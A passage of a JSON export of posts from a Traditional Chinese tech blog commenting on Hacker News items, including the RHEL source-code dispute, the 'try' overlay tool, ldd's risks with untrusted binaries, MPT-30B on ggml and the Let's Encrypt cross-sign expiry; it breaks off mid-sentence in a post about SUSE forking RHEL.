    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36385809\">Neural networks in the 1990s (twitter.com/id_aa_carmack)</a>」這篇，原推在：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">It is interesting how many old papers used neural networks with only a dozen or so units. Computers weren’t THAT slow in the 90s — BLAS (basic linear algebra subprograms) was already a thing that vendors hyper-optimized for. Not much overlap between HPC and NN people?…</p>&mdash; John Carmack (@ID_AA_Carmack) <a href=\"https://twitter.com/ID_AA_Carmack/status/1670558589746905090?ref_src=twsrc%5Etfw\">June 18, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在 Hacker News 上的 <a href=\"https://news.ycombinator.com/user?id=rm999\">rm999</a> 有提到當時的結果，可以解釋為什麼在 1990 年代時類神經網路沒有興起的關係：\r\n\r\n<blockquote>A lot of the problems that did benefit from neural networks in the 90s/early 2000s just needed a non-linear model, but did not need huge neural networks to do well. You can very roughly consider the first layer of a 2-layer neural network to be a series of classifiers, each tackling a different aspect of the problem (e.g. the first neuron of a spam model may activate if you have never received an email from the sender, the second if the sender is tagged as spam a lot, etc). These kinds of problems didn't need deep, large networks, and 10-50 neuron 2-layer networks were often more than enough to fully capture the complexity of the problem. Nowadays many practitioners would throw a GBM at problems like that and can get away with O(100) shallow trees, which isn't very different from what the small neural networks were doing back then.</blockquote>\r\n\r\n1990 年代時的主題還是比較簡單的題目，像是分 category 這類題目 (一個常見的應用是 spam filter)，而這些題目在傳統方式與類神經網路的差異並不大。\r\n\r\n直到後來 GPU 運算技術的成熟，而且從 2010 年有 cloud 的概念以後，一般單位可以不用花大錢自己建整套超級電腦，只需要花一些 OPEX 就可以生出小型的超級電腦 (短時間)，這讓不少單位都可以有夠大的計算力計算大型 model (相較於以前的大小)，也才看得出來大型 model 用來解更複雜問題的威力。\r\n\r\n而 2014 年的 <a href=\"https://en.wikipedia.org/wiki/AlphaGo\">AlphaGo</a> 算是一個類神經網路對一般人衝擊的成功案例 (i.e. 跨出圈子)，這也讓投資人對人工智慧的主題更願意投資。",
    "title": "John Carmack 對於 1990 年代類神經網路沒有興起的討論..."
  },
  {
    "id": "11232",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，歐盟要推動可替換的手機電池：「<a href=\"https://www.techspot.com/news/99102-european-union-votes-bring-back-replaceable-phone-batteries.html\">European Union votes to bring back replaceable phone batteries</a>」，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=36361510\">European Union votes to bring back replaceable phone batteries (techspot.com)</a>」。\r\n\r\n歐盟官方的文章在「<a href=\"https://www.europarl.europa.eu/news/en/press-room/20230609IPR96210/making-batteries-more-sustainable-more-durable-and-better-performing\">Making batteries more sustainable, more durable and better-performing</a>」這邊可以看。\r\n\r\n這讓人有點懷念，當年的 dumb phone 都是可以換電池的，也的確有商務人士會自己帶幾個充好的電池跑，需要的時候可以換... 不過這也代表機構工程師要把長久以來是直接固定的電池換成可替代的形式。\r\n\r\n但好像沒看到這個要求的 timetable...",
    "title": "歐盟要推可替換的手機電池"
  },
  {
    "id": "11233",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的新聞，<a href=\"https://www.ibm.com/\">IBM</a> 決定停止公開發布 <a href=\"https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux\">RHEL</a> 的 source code：「<a href=\"https://lwn.net/Articles/935592/\">Red Hat cutting back RHEL source availability</a>」，原始的文章在「<a href=\"https://www.redhat.com/en/blog/furthering-evolution-centos-stream\">Furthering the evolution of CentOS Stream</a>」這邊。\r\n\r\n可以猜測這與 <a href=\"https://rockylinux.org/\">Rocky Linux</a> 與 <a href=\"https://almalinux.org/\">AlmaLinux</a> 有關。\r\n\r\n有購買 RHEL 的人 (取得 binary 的人) 可以在 Red Hat Customer Portal 上取得 source code，這部份應該是遵守 <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">GPL</a> 的關係。\r\n\r\n但不確定後續 Rocky Linux 與 AlmaLinux 會怎麼處理，看了看 GPLv2 裡面的條文，不是很確定是否可以限制散佈 source code 的行為...",
    "title": "IBM 決定停止公開發布 RHEL 的 source code"
  },
  {
    "id": "11234",
    "body": "昨天提到的「<a href=\"https://blog.gslin.org/archives/2023/06/22/11233/ibm-%e6%b1%ba%e5%ae%9a%e5%81%9c%e6%ad%a2%e5%85%ac%e9%96%8b%e7%99%bc%e5%b8%83-rhel-%e7%9a%84-source-code/\">IBM 決定停止公開發布 RHEL 的 source code</a>」有了另外一邊的說明了：\r\n\r\n<ul>\r\n\t<li><a href=\"https://almalinux.org/blog/impact-of-rhel-changes/\">Impact of RHEL changes to AlmaLinux</a></li>\r\n\t<li><a href=\"https://rockylinux.org/news/2023-06-22-press-release/\">Rocky Linux Expresses Confidence Despite Red Hat's Announcement</a></li>\r\n</ul>\r\n\r\n如同 <a href=\"https://almalinux.org/\">AlmaLinux</a> 所說的，重新散佈程式碼是受限的：\r\n\r\n<blockquote>Unfortunately the way we understand it today, Red Hat’s user interface agreements indicate that re-publishing sources acquired through the customer portal would be a violation of those agreements.</blockquote>\r\n\r\n所以目前 AlmaLinux 的意思是沒有什麼好解法，而 <a href=\"https://rockylinux.org/\">Rocky Linux</a> 的公告文章只有幹話，沒有實質內容。\r\n\r\n但我猜既有的客戶裡面有不受這個條款影響的族群，像是直接跟 <a href=\"https://www.ibm.com/\">IBM</a> 談授權合約的公司，有可能會有排除單方面修改授權的條款，這個應該會是目前 <a href=\"https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux\">RHEL</a> 8/9 的破口，但後續再釋出的版本應該會被 IBM 的法務給補上？",
    "title": "AlmaLinux 與 Rocky Linux 看起來都暫時無解"
  },
  {
    "id": "11235",
    "body": "看到「<a href=\"https://sub.rehab/\">sub.rehab · Find your next diving spot</a>」這個頁面，在整理目前 <a href=\"https://old.reddit.com/\">Reddit</a> 社群的其他出處。\r\n\r\n從目前的資料看起來，<a href=\"https://join-lemmy.org/\">Lemmy</a> 應該是主要方案，有些可能自架，但蠻多人就是跑去找一個 instance 掛？\r\n\r\n第二多的是轉移到 <a href=\"https://discord.com/\">Discord</a> 上，這點蠻特別的...\r\n\r\n而因為 Discord 的封閉性，也看到了「<a href=\"https://www.answeroverflow.com/\">Answer Overflow - Index Your Discord Server Channels Into Google</a>」這種服務，可以把 Discord 的內容轉成 html 頁面，讓搜尋引擎可以讀到內容。\r\n\r\n所以這波 Reddit 決定來硬的到底會不會成呢...",
    "title": "目前 Reddit 的替代方案"
  },
  {
    "id": "11237",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到這則：「<a href=\"https://news.ycombinator.com/item?id=36461102\">Try: run a command and inspect its effects before changing your live system (github.com/binpash)</a>」，這是一個 <a href=\"https://github.com/\">GitHub</a> 專案：「<a href=\"https://github.com/binpash/try\">binpash/try</a>」。\r\n\r\n整包軟體意外的簡單，是一隻 shell script，透過 <a href=\"https://en.wikipedia.org/wiki/OverlayFS\">OverlayFS</a> 取得改變的部分：\r\n\r\n<blockquote>try lets you run a command and inspect its effects before changing your live system. try uses Linux's namespaces (via unshare) and the overlayfs union filesystem.</blockquote>\r\n\r\n記得 OverlayFS 在 <a href=\"https://en.wikipedia.org/wiki/Docker_(software)\">Docker</a> 用的很多，所以穩定性應該是沒什麼問題，不過專案開頭也有提到，這只是把 filesystem 層拆出來，不是很嚴謹的 sandbox 環境，像是 <code>/dev</code> 這邊的東西還是有穿透性，不要跑不信任的程式：\r\n\r\n<blockquote>Please note that try is a prototype and not a full sandbox, and should not be used to execute commands that you don't already trust on your system, (i.e. devices in /dev are mounted in the sandbox, and network calls are all allowed.) Please do not attempt any commands that will remove everything in /dev or write zeros to your disks.</blockquote>\r\n\r\n我覺得這個很適合拿來跑各種 <code>install.sh</code> 這種東西？有些 <code>install.sh</code> 不知道塞了多少垃圾 (像是 <code>.bashrc</code> 或是 <code>.profile</code> 都有可能會被動)，可以知道有哪些檔案要清會比較好。\r\n\r\n把裡面的 <code>try</code> 這個檔案丟到自己的可執行目錄就裝好了，像是 <code>~/.local/bin</code> 或是 <code>~/bin</code> 之類的地方，看你的 <code>$PATH</code> 設定決定。\r\n\r\n另外也可以從 subcommands 裡面的指令看到你可以用 try explore 啟動 shell 跑進去看：\r\n\r\n<pre>Subcommands:\r\n  try summary DIR   show the summary for the overlay in DIR\r\n  try commit DIR    commit the overlay in DIR\r\n  try explore DIR   start a shell inside the overlay in DIR</pre>\r\n\r\nGitHub 上面的範例是用 <a href=\"https://pypi.org/project/pip/\">pip</a> 示範，同樣道理應該也可以看 <a href=\"https://www.npmjs.com/\">npm</a> 與其他套件。",
    "title": "用 try 來看檔案系統的改變"
  },
  {
    "id": "11239",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的討論，有人在問有沒有不需要連網，也不希望透過 app 連的 IP cam：「<a href=\"https://news.ycombinator.com/item?id=36447024\">Ask HN: IP cameras that don't require an app or internet?</a>」。會在意隱私性的人應該會有興趣。\r\n\r\n討論裡面意外看到幾個台灣廠商，首先是翻到 <a href=\"https://www.geovision.com.tw/\">GeoVision</a>，奇偶科技：\r\n\r\n<blockquote>Geovision cameras are low end and not expensive. They are Taiwanese in origin and are pretty easy to find.</blockquote>\r\n\r\n這家的產品在台灣一般 C 端的 EC 通路沒找到，但蝦皮上有翻到一些資料；如果跑去美國的 <a href=\"https://www.amazon.com/\">Amazon</a> 上面找可以看到不少商品，價錢似乎比較便宜？\r\n\r\n另外一個是台達旗下的 <a href=\"https://www.vivotek.com/\">VIVOTEK</a>：\r\n\r\n<blockquote>There's a Taiwanese brand Vivotek that makes some relatively affordable NDAA cameras. I'm hoping to try them out myself, but unfortunately haven't had time yet.</blockquote>\r\n\r\n這家在 <a href=\"https://24h.pchome.com.tw/\">PChome</a> 與 <a href=\"https://www.momoshop.com.tw/\">momo</a> 上面都有擺一些商品，另外在蝦皮上就可以找到蠻多商品；在 Amazon 上面也不少商品。",
    "title": "無 Internet 也能使用的 IP cam"
  },
  {
    "id": "11240",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36472854\">Show HN: WinGPT – AI assistant for Windows 3.1 (dialup.net)</a>」這篇，原始文章「<a href=\"https://www.dialup.net/wingpt/\">WinGPT: AI Assistant for Windows 3.1</a>」在介紹 <a href=\"https://en.wikipedia.org/wiki/Windows_3.1\">Windows 3.1</a> 下的 GPT client。\r\n\r\n雖然反差很大 (一個 20 世紀的 GUI 環境配上最新科技)，但從 Hacker News 的討論可以看到，最熱烈的是在 16-bit 環境下實作 <a href=\"https://en.wikipedia.org/wiki/TLS_1.3\">TLS 1.3</a> 連線，也就原文裡的這段，提到了他是原生支援 TLS 1.3：\r\n\r\n<blockquote>WinGPT connects to the OpenAI API server natively with TLS 1.3, so it doesn't require a proxy on a modern machine to terminate TLS. To see how I did this and some of the challenges, take a look at <a href=\"https://www.dialup.net/wingpt/tls.html\">Modern TLS on 16-bit Windows</a>. (As you'll see on that page, this is not a secure implementation).</blockquote>\r\n\r\n不過他不是從零開始解，而是基於 <a href=\"https://en.wikipedia.org/wiki/WolfSSL\">wolfSSL</a> 的實作，因為 wolfSSL 有支援 16-bit compiler，就不需要從零開始：\r\n\r\n<blockquote>WolfSSL stood out among the pack as it had explicit 16-bit compiler support while being fully-featured and well-supported.</blockquote>\r\n\r\n這是讓人看到會「蛤？」的東西 XD",
    "title": "Windows 3.1 下的 GPT client"
  },
  {
    "id": "11241",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2023/06/24/11234/almalinux-%e8%88%87-rocky-linux-%e7%9c%8b%e8%b5%b7%e4%be%86%e9%83%bd%e6%9a%ab%e6%99%82%e7%84%a1%e8%a7%a3/\">AlmaLinux 與 Rocky Linux 看起來都暫時無解</a>」這邊提到了檯面上目前沒有好方法穩定取得 source code 後，<a href=\"https://rockylinux.org/\">Rocky Linux</a> 提出了兩個方法，在不需要同意 RHEL 的條款下取得 <a href=\"https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux\">RHEL</a> 的 source code：「<a href=\"https://rockylinux.org/news/keeping-open-source-open/\">Keeping Open Source Open</a>」。\r\n\r\n中間還有一些小插曲可以提一下，在社群不少抗議聲後，<a href=\"https://www.ibm.com/\">IBM</a> &amp; <a href=\"https://www.redhat.com/\">Red Hat</a> 的 VP 出來直接說他們認為 RHEL rebuild 沒有任何價值，而且是故意讓 rebuilder 更難實作 RHEL rebuild：「<a href=\"https://www.redhat.com/en/blog/red-hats-commitment-open-source-response-gitcentosorg-changes\">Red Hat’s commitment to open source: A response to the git.centos.org changes</a>」。\r\n\r\n<blockquote>Ultimately, we do not find value in a RHEL rebuild and we are not under any obligation to make things easier for rebuilders; this is our call to make.</blockquote>\r\n\r\n回到 Rocky Linux 的文章，他們提出來的兩個方法都是基於 <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">GPL</a> 的重要性質：如果你可以合法拿到 binary，那麼散佈者就有義務要提供 source code。\r\n\r\n第一個方法是透過 RHEL 目前公開提供的 container image：\r\n\r\n<blockquote>One option is through the usage of UBI container images which are based on RHEL and available from multiple online sources (including Docker Hub). Using the UBI image, it is easily possible to obtain Red Hat sources reliably and unencumbered. We have validated this through OCI (Open Container Initiative) containers and it works exactly as expected.</blockquote>\r\n\r\n另外一種方式是透過雲端服務的 cloud instance 跑 RHEL：\r\n\r\n<blockquote>Another method that we will leverage is pay-per-use public cloud instances. With this, anyone can spin up RHEL images in the cloud and thus obtain the source code for all packages and errata. This is the easiest for us to scale as we can do all of this through CI pipelines, spinning up cloud images to obtain the sources via DNF, and post to our Git repositories automatically.</blockquote>\r\n\r\n這兩個方法都不需要同意 RHEL 目前在網站上的 TOS 與 EULA，而且短時間內應該不好防堵：前者要關掉的話，應該有一堆既有 RHEL 客戶在用會直接抱怨，真的要硬幹的話得給這些客戶時間從 public repository 轉移到要認證的 repository 上；而後者要堵的話，除非 IBM &amp; Red Hat 決定直接不做雲端生意？\r\n\r\n看起來 Rocky Linux 與 <a href=\"https://almalinux.org/\">AlmaLinux</a> 用這套方法可以撐一陣子，直到 IBM &amp; Red Hat 想出新方法來搞？",
    "title": "Rocky Linux 提出兩個方法取得 RHEL 的 source code"
  },
  {
    "id": "11242",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://til.simonwillison.net/python/stdlib-cli-tools\">CLI tools hidden in the Python standard library</a>」這個，在講 <a href=\"https://www.python.org/\">Python</a> 內建的工具。\r\n\r\n其中 <code>python -m calendar</code> 這組看起來還不錯，測了一下可以用 <code>python -m calendar 2024</code> 顯示所有 2024 的月曆，用 <code>python -m calendar 2024 1</code> 則可以顯示 2024 一月單月的月曆。\r\n\r\n這操作起來比先前用的 <a href=\"https://packages.ubuntu.com/jammy/ncal\">ncal</a> 好多了，先前用 <code>cal 2024</code> 會出現錯誤，因為只有一個參數時他會當作月份，而兩個參數時要把月份放前面，也就是用 <code>cal 1 2024</code> 才能正確顯示。\r\n\r\n所以就把本來的 ncal 移除掉，改用 alias 來處理：「<a href=\"https://github.com/gslin/config/commit/f622710782a81c0486d5236949d71b26388bcc1a\">Add alias \"cal\".</a>」。\r\n\r\n其他的大多都有習慣的工具了，像是 base64 可以用 <code>openssl base64</code> 處理；而 json.tool 有 <a href=\"https://packages.ubuntu.com/jammy/jq\">jq</a> 可以用。",
    "title": "Python 內建的工具"
  },
  {
    "id": "11243",
    "body": "前幾天 <a href=\"https://twitter.com/\">Twitter</a> 在搞事情，把未登入的存取方式都擋住了，所以本來透過 <a href=\"https://github.com/RSS-Bridge/rss-bridge\">RSS-Bridge</a> 的方式也被擋掉了，只好趕快研究 <a href=\"https://en.wikipedia.org/wiki/Mastodon_(social_network)\">Mastodon</a> 要怎麼架。\r\n\r\n在 <a href=\"https://abpe.org/@gslin\">https://abpe.org/@gslin</a> 這邊。\r\n\r\n要先注意硬體需求，好像沒有文章特別獎，但實際測試後發現 2GB RAM 的 VPS 只是超級低標，光是跑起來就把 2GB 吃乾了，我測試的時候開 VPS (2GB RAM + 512MB swap) 才勉強撐住，swap 都已經吃到 400MB 左右。一開始開 1GB RAM 的時候直接 OOM 給你看...\r\n\r\n現在是跑在家裡的機器上，8GB RAM 的機器上面跑個 <a href=\"https://sentry.io/\">Sentry</a> + Mastodon 就差不多了。\r\n\r\n文件的部分因為想要用 <a href=\"https://docs.docker.com/compose/\">Docker Compose</a> 跑，是參考「<a href=\"https://sleeplessbeastie.eu/2022/05/02/how-to-take-advantage-of-docker-to-install-mastodon/\">How to take advantage of Docker to install Mastodon</a>」這篇跑起來的，把裡面 <code>docker-compose.yml</code> 使用的版本換新再跑，基本上沒有問題。\r\n\r\n接下來就是找有誰已經在 Mastodon 上，要花時間訂起來...",
    "title": "拿許久沒用的 abpe.org 出來架 Mastodon"
  },
  {
    "id": "11246",
    "body": "在 <a href=\"https://lobsters-daily.reight.io/\">Daily Lobsters</a> 上看到「<a href=\"https://jmmv.dev/2023/07/ldd-untrusted-binaries.html\">ldd(1) and untrusted binaries</a>」這篇，這次的重點在 <a href=\"https://en.wikipedia.org/wiki/Ldd_(Unix)\">ldd</a> 的 manpage <a href=\"https://linux.die.net/man/1/ldd\">ldd(1)</a> 裡提到可能會執行裡面的程式碼，所以不適合拿來處理 untrusted binary：\r\n\r\n<blockquote>Be aware, however, that in some circumstances, some versions of ldd may attempt to obtain the dependency information by directly executing the program. Thus, you should never employ ldd on an untrusted executable, since this may result in the execution of arbitrary code.</blockquote>\r\n\r\n另外在原文裡面的 comment 有人提到 <a href=\"https://www.apple.com/macos/\">macOS</a> 上面沒有 ldd，而是用其他工具給出類似的資訊，看起來是避開了這種實作方式：\r\n\r\n<blockquote>macOS and other Darwin-based systems, which use Mach-O rather than ELF, and have an 4.x/SVR4-inspired dynamic linking mechanism (not surprising, given that the person who did a lot of the work on the 4.x system left Sun to go to NeXT), but don't have an \"ldd\" program. Instead, there's \"otool -L\", which produces output such as [...]</blockquote>\r\n\r\n而 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 上的 <a href=\"https://man.freebsd.org/cgi/man.cgi?ldd\">ldd(1) manpage</a> 上沒有提到安全問題，但從他的實作描述看起來也不太妙：\r\n\r\n<blockquote>ldd lists the dependencies of an executable by setting rtld(1) environment variables and running the executable in a child process.</blockquote>\r\n\r\n回到原來主題，Linux manpage 裡面提到的 <a href=\"https://en.wikipedia.org/wiki/Objdump\">objdump</a> 跟 ldd 的功能還是差蠻多的啊？不知道合理的替代品到底是什麼...",
    "title": "跑 ldd 有可能會執行裡面的程式碼"
  },
  {
    "id": "11247",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=36569727\">Perl 5.38 (perl.org)</a>」這個，從討論裡面可以看到比較大的改變是支援了 <code>class</code> 語法，對應的文件在 <a href=\"https://perldoc.perl.org/5.38.0/perlclass\">perlclass</a> 這邊：\r\n\r\n<blockquote>This document describes the syntax of the Perl's <code>class</code> feature, which provides native keywords supporting object-oriented programming paradigm.</blockquote>\r\n\r\n傳統上的作法是用 <a href=\"https://perldoc.perl.org/functions/bless\">bless</a>，對一個 reference 上面綁定 class，也因為這是很底層的實作，所以社群就有很多物件的封裝，像是古董的 <a href=\"https://metacpan.org/pod/Class::Accessor\">Class::Accessor</a>，或是後來有在 Perl community 流行一陣子的 <a href=\"https://en.wikipedia.org/wiki/Moose_(Perl)\">Moose</a>。\r\n\r\n目前的 class 看起來像是 <a href=\"https://en.wikipedia.org/wiki/Syntactic_sugar\">syntactic sugar</a>？加上 Perl community 的能量沒有多高，長時間混用的情況應該是跑不掉...",
    "title": "Perl 5.38 引入的 class"
  },
  {
    "id": "11249",
    "body": "在 <a href=\"https://en.wikipedia.org/wiki/Simon_Willison\">Simon Willison</a> 這邊看到的「<a href=\"https://simonwillison.net/2023/Jun/29/mpt-30b-inference/\">abacaj/mpt-30B-inference</a>」，介紹了用 <a href=\"https://github.com/ggerganov/ggml\">ggml</a> 跑的<a href=\"https://huggingface.co/mosaicml/mpt-30b\"> MPT-30B</a> 專案：「<a href=\"https://github.com/abacaj/mpt-30B-inference\">abacaj/mpt-30B-inference</a>」。\r\n\r\nMPT-30 是個 open source model，比起同樣也是 open source model 的 <a href=\"https://huggingface.co/tiiuae/falcon-40b\">Falcon-40B</a> 小了一點，在官方的說明「<a href=\"https://www.mosaicml.com/blog/mpt-30b\">MPT-30B: Raising the bar for open-source foundation models</a>」可以看到其中一個特性是可以塞進單張 GPU：\r\n\r\n<blockquote>The size of MPT-30B was also specifically chosen to make it easy to deploy on a single GPU—either 1x NVIDIA A100-80GB in 16-bit precision or 1x NVIDIA A100-40GB in 8-bit precision. Other comparable LLMs such as Falcon-40B have larger parameter counts and cannot be served on a single datacenter GPU (today); this necessitates 2+ GPUs, which increases the minimum inference system cost.</blockquote>\r\n\r\n但即使如此，一般人也應該不會有 <a href=\"https://en.wikipedia.org/wiki/Ampere_(microarchitecture)\">A100</a>-40G 這種卡，所以很自然的就會想到可以用 ggml 在 CPU 上跑。\r\n\r\n然後提到 ggml... 目前 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a> 在 Falcon-40B 上還是卡關中，這樣看起來 MPT-30B 應該是目前 ggml 能跑的最大的 open source model？\r\n\r\nSimon Willison 說他在 M2 MacBook Pro 上跑沒什麼問題，我在 32GB RAM 的 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上也能跑，就照著 <code>README.md</code> 走就可以了，不過在 <a href=\"https://www.python.org/\">Python</a> 裡面的預設是使用一半的 CPU core，我改成使用全部的 core，速度看起來有比較快。\r\n\r\n然後回答的品質比起之前玩各家 7B 的版本好很多，丟了一些問題給他答，已經蠻有水準了...",
    "title": "用 ggml 跑的 MPT-30B"
  },
  {
    "id": "11250",
    "body": "看到「<a href=\"https://undeadly.org/cgi?action=article;sid=20230706044554\">Soft updates (softdep) disabled for future VFS work</a>」這篇，<a href=\"https://www.openbsd.org/\">OpenBSD</a> 決定拔掉 <a href=\"https://en.wikipedia.org/wiki/Soft_updates\">Soft updates</a>。\r\n\r\n第一次接觸到 soft updates 是在 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 上，應該也是快 20 年了，用機械硬碟的時候有沒有 soft updates 寫入速度差蠻多的，但不知道對於現在 SSD 滿街跑的情況如何，這次拔掉看起來也沒有講原因，後續可以看一下報導...\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Journaling_file_system\">Journaling</a> 是另外一個技巧，查資料的時候還查到有 SU+J 的組合技，但太久沒用 FreeBSD 了，現在都在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> ecosystem 了...",
    "title": "OpenBSD 決定拔掉 softdep (Soft Updates)"
  },
  {
    "id": "11253",
    "body": "看到「<a href=\"https://www.osnews.com/story/136311/project-restores-windows-update-for-windows-9x/\">Project restores Windows Update for Windows 9x</a>」這篇在介紹「<a href=\"http://windowsupdaterestored.com/\">Windows Update Restored: Fix Windows Update On Windows 95. 98, ME, 2000, and XP</a>」這個幫這些古董 OS 裝 Windows Update 的專案。\r\n\r\n看起來只是把官方的 security patch 整理起來而已，並不處理 <a href=\"https://en.wikipedia.org/wiki/End-of-life_product\">EoL</a> 後的安全性問題。\r\n\r\n但對於要弄個老環境的人來說算是方便的工具，至少把有公開過的 security patch 都打進去。",
    "title": "Windows 95/NT 4.0/98/ME/2000/XP 的 Windows Update"
  },
  {
    "id": "11254",
    "body": "<a href=\"https://sqlite.org/\">SQLite</a> 自己搞了一套使用雲端空間為儲存空間的技術：「<a href=\"https://sqlite.org/cloudsqlite/doc/trunk/www/index.wiki\">Cloud Backed SQLite</a>」，對應的 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 討論可以看「<a href=\"https://news.ycombinator.com/item?id=36610595\">Cloud Backed SQLite (sqlite.org)</a>」這邊。\r\n\r\n他說目前支援 <a href=\"https://azure.microsoft.com/en-us/products/storage/blobs/\">Azure Blob Storage</a> 與 <a href=\"https://cloud.google.com/storage\">Google Cloud Storage</a>，這點比較有趣，沒有提到 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a>：\r\n\r\n<blockquote>The system currently supports Azure Blob Storage and Google Cloud Storage. It also features an API that may be used to implement support to other cloud storage systems.</blockquote>\r\n\r\n跟之前的 <a href=\"https://sql.js.org/\">sql.js</a> 專案不太一樣，sql.js 的作法是用 HTTP range 存取現有的 SQLite 資料庫檔案，而這次的這個專案則是改變底層架構，去配合雲端環境的特點。\r\n\r\n雲端的 storage 因為每個 access 都會有很高的 latency (相比於本地的空間)，所以要避免太多 random access，儘量以 sequential access 為主，這個特性像是以前在處理傳統磁頭硬碟時的技巧。\r\n\r\n另外一個特點是雲端空間有多檔案的概念，所以也可以利用這個方式設計資料結構。\r\n\r\n還蠻有趣的計畫，而且是官方搞的...",
    "title": "SQLite 官方自己搞的 Cloud Backed SQLite"
  },
  {
    "id": "11255",
    "body": "先前 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 跟 <a href=\"https://en.wikipedia.org/wiki/IdenTrust\">IdenTrust</a> 的 cross sign 會在 2024/10/01 到期，可以參考 <a href=\"https://crt.sh/?id=3958242236\">3958242236</a> 這邊的資訊，可以看到由 IdenTrust 的 <a href=\"https://crt.sh/?caid=276\">DST Root CA X3</a> 對 Let's Encrypt (ISRG) 的 <a href=\"https://crt.sh/?caid=7394\">ISRG Root X1</a> 簽名，時間是到 2024/09/30 18:14:03 GMT (換算大概是台灣隔日的清晨兩點多)：\r\n\r\n<pre>\r\nIssuer: (CA ID: 276)\r\n    commonName                = DST Root CA X3\r\n    organizationName          = Digital Signature Trust Co.\r\nValidity\r\n    Not Before: Jan 20 19:14:03 2021 GMT\r\n    Not After : Sep 30 18:14:03 2024 GMT\r\nSubject: (CA ID: 7394)\r\n    commonName                = ISRG Root X1\r\n    organizationName          = Internet Security Research Group\r\n    countryName               = US\r\n</pre>\r\n\r\n所以 Let's Encrypt 這邊也整理出了對應的落日計畫：「<a href=\"https://letsencrypt.org/2023/07/10/cross-sign-expiration.html\">Shortening the Let's Encrypt Chain of Trust</a>」。\r\n\r\n第一波是 2024/02/08，從這個時間點開始 Let's Encrypt 的 ACME 服務預設組出來的 SSL certificate 將不會帶 IdenTrust 提供的 cross sign 憑證，但你還是可以自己另外設定取用：\r\n\r\n<blockquote>On Thursday, Feb 8th, 2024, we will stop providing the cross-sign by default in requests made to our /acme/certificate API endpoint. For most Subscribers, this means that your ACME client will configure a chain which terminates at ISRG Root X1, and your webserver will begin providing this shorter chain in all TLS handshakes. The longer chain, terminating at the soon-to-expire cross-sign, will still be available as an alternate chain which you can configure your client to request.</blockquote>\r\n\r\n再來是過期前的 90 天多一點的 2024/06/06，Let's Encrypt 的 ACME 服務將不會提供 cross sign 的憑證：\r\n\r\n<blockquote>On Thursday, June 6th, 2024, we will stop providing the longer cross-signed chain entirely. This is just over 90 days (the lifetime of one certificate) before the cross-sign expires, and we need to make sure subscribers have had at least one full issuance cycle to migrate off of the cross-signed chain.</blockquote>\r\n\r\n最後就是過期的日子 2024/09/30：\r\n\r\n<blockquote>On Monday, September 30th, 2024, the cross-signed certificate will expire. This should be a non-event for most people, as any client breakages should have occurred over the preceding six months.</blockquote>\r\n\r\n依照說明，應該是 <a href=\"https://en.wikipedia.org/wiki/Android_(operating_system)\">Android</a> 7.0 以及之前的版本會產生問題，照目前的數字看起來是 100% - 93.9% = 6.1%：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1689061854-8456b3fb.webp\" /><img src=\"https://i.gslin.com/s/1689061854-8456b3fb.png\" alt=\"\" /></picture>\r\n\r\n接下來一年應該會再低一些，但不確定會低多少，有機會 &lt;5% 嗎？",
    "title": "Let's Encrypt 與 IdenTrust 延長三年的 cross sign 在 2024/10/01 要結束了"
  },
  {
    "id": "11256",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36678079\">SUSE is forking RHEL (suse.com)</a>」這個，原文的確就是 <a href=\"https://en.wikipedia.org/wiki/SUSE\">SUSE</a> 決定參戰，跳進去 clone <a href=\"https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux\">RHEL</a>：「<a href=\"https://www.suse.com/news/SUSE-Preserves-Choice-in-Enterprise-Linux/\">SUSE Preserves Choice in Enterprise Linux by Forking RHEL with a $10+ Million Investment</a>」。\r\n\r\n第一段把重點講完了，手上自己有 <a href=\"https://en.wikipedia.org/wiki/SUSE_Linux_Enterprise\">SUSE Linux Enterprise</a> 的 SUSE 決定要維護一套 RHEL clone：\r\n\r\n<blockquote>Today SUSE, the company behind Rancher, NeuVector, and SUSE Linux Enterprise (SLE) and a global leader in enterprise open source solutions, announced it is forking publicly available Red Hat Enterprise Linux (RHEL) and will develop and maintain a RHEL-compatible distribution available to all without restrictions. Over the next few years, SUSE plans to invest more than $10 million into this project.</blockquote>\r\n\r\n然後 Hacker News 討論裡面看到這個資訊頗有趣：SUSE 的 CEO <a href=\"https://www.linkedin.com/in/dpvanleeuwen/\">Dirk-Peter van Leeuwen</a> 才來三個月，先前在 <a href=\"https://en.wikipedia.org/wiki/Red_Hat\">Red Hat</a> 待了十八年：\r\n\r\n<blockquote>&gt; Dirk-Peter van Leeuwen, CEO of SUSE, said,\r\n\r\nAccording to LinkedIn 